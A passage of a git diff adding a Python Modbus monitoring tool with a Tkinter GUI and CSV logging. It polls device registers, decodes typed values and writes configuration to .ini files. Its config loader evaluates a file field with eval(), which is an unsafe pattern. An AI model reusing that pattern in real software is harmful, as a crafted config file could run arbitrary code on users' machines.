conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + 